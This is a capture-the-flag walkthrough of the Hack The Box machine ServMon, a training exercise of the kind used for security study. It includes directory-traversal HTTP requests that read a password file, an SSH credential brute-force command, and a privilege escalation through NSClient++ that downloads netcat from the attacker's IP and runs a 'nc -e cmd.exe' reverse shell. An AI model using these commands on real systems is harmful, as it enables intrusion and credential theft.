htb-writeups

ServMon HTB Walkthrough

A comprehensive penetration testing walkthrough for the ServMon machine from Hack The Box, detailing reconnaissance, vulnerability assessment, exploitation, and privilege escalation.

Executive Summary

ServMon is a Windows-based vulnerable machine that demonstrates common security misconfigurations in real-world environments. The box involves multiple attack vectors including FTP anonymous access, web application vulnerabilities, and service misconfigurations leading to full system compromise.

Key Vulnerabilities Exploited:

Reconnaissance

Network Scanning

Initial network reconnaissance was performed to identify open ports and services:

export target=10.129.227.77

# Comprehensive port scan
sudo nmap -p- --min-rate 1000 -sT -vvv $target

image

image

Discovered Ports:

Service Enumeration

Detailed service version detection and script scanning:

sudo nmap -sC -sV -p 21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 -T4 $target

image

Key Findings:

image

Enumeration

FTP Service Analysis

Anonymous FTP access revealed sensitive information:

wget -r ftp://anonymous:@10.129.227.77

Discovered Files:

┌──(aravinda㉿kali)-[~/…/servmon/10.129.227.77/Users/Nadine]
└─$ cat Confidential.txt 
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine 

┌──(aravinda㉿kali)-[~/…/servmon/10.129.227.77/Users/Nathan]
└─$ cat 'Notes to do.txt'
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint                                                                                                                      

Web Application Assessment

The web service on port 80 hosted NVMS 1000 software:

http://10.129.227.77/Pages/login.htm

Vulnerability Research:

searchsploit 'nvms 1000'

image

Identified Exploits:

Directory Traversal Exploitation

Using the directory traversal vulnerability to access sensitive files:

Initial request

image

HTTP Request:

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 10.129.227.77

image

Modified to access user files:

GET /../../../../../../../../../../../../users/nathan/desktop/passwords.txt HTTP/1.1
Host: 10.129.227.77

image

Retrieved Credentials:

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

Initial Foothold

Credential Testing

Using identified usernames and passwords for authentication:

# User list
nathan
nadine
administrator

# Password cracking/brute-forcing
crackmapexec ssh 10.129.227.77 -u users.txt -p pass.txt --continue-on-success

image

Successful Authentication:

Initial Access

ssh nadine@10.129.227.77

image

User Flag:

type C:\Users\Nadine\Desktop\user.txt
0c402c1a0c6ca9d60dde2191ab14eb45

Privilege Escalation

Internal Service Discovery

Discovered NSClient++ service on port 8443:

# SSH port forwarding for internal service access
ssh nadine@10.129.227.77 -L 8443:127.0.0.1:8443

NSClient++ Analysis

Accessed the web interface at https://127.0.0.1:8443/

Retrieved NSClient++ Password:

nscp web --password --display
Current password: ew2x6SsGTxjRwXOT

image

Exploitation Strategy

Based on research from Exploit-DB (46802), NSClient++ allows execution of external scripts with SYSTEM privileges.

Attack Procedure:

  1. Prepare Payload:
    # Download netcat to target
    curl 10.10.14.106/nc.exe -o C:\programdata\nc.exe
       
    # Create batch file for reverse shell
    echo C:\programdata\nc.exe -e cmd.exe 10.10.14.106 4444 > C:\programdata\exploit.bat
    

image

  1. Setup Listener:
    nc -nlvp 4444
    
  2. Configure NSClient++ Script:
    • login

image

image

image

  1. Execute Script:
    • Access https://127.0.0.1:8443/index.html#/queries/foobar

image

image

Root Access

Successful SYSTEM Shell:

whoami
nt authority\system

type C:\Users\Administrator\Desktop\root.txt
8490b03644b0b4c76d393cc428dd230b

image

Lessons Learned

Security Misconfigurations

  1. FTP Service:
    • Anonymous access enabled
    • Sensitive files accessible without authentication
  2. Web Application:
    • Outdated NVMS 1000 software with known vulnerabilities
    • Directory traversal vulnerability not patched
  3. Password Management:
    • Weak password policies
    • Passwords stored in insecure locations
    • Password reuse across accounts
  4. Service Configuration:
    • NSClient++ configured with excessive privileges
    • External script execution without proper sandboxing

Defense Recommendations

  1. Network Security:
    • Disable unnecessary services (FTP, unused ports)
    • Implement network segmentation
    • Use firewall rules to restrict access
  2. Application Security:
    • Regular vulnerability assessments and patching
    • Web application firewall implementation
    • Secure coding practices
  3. Access Control:
    • Strong password policies and multi-factor authentication
    • Principle of least privilege for service accounts
    • Regular access reviews and audits
  4. Monitoring:
    • File integrity monitoring
    • Log analysis for suspicious activities
    • Intrusion detection systems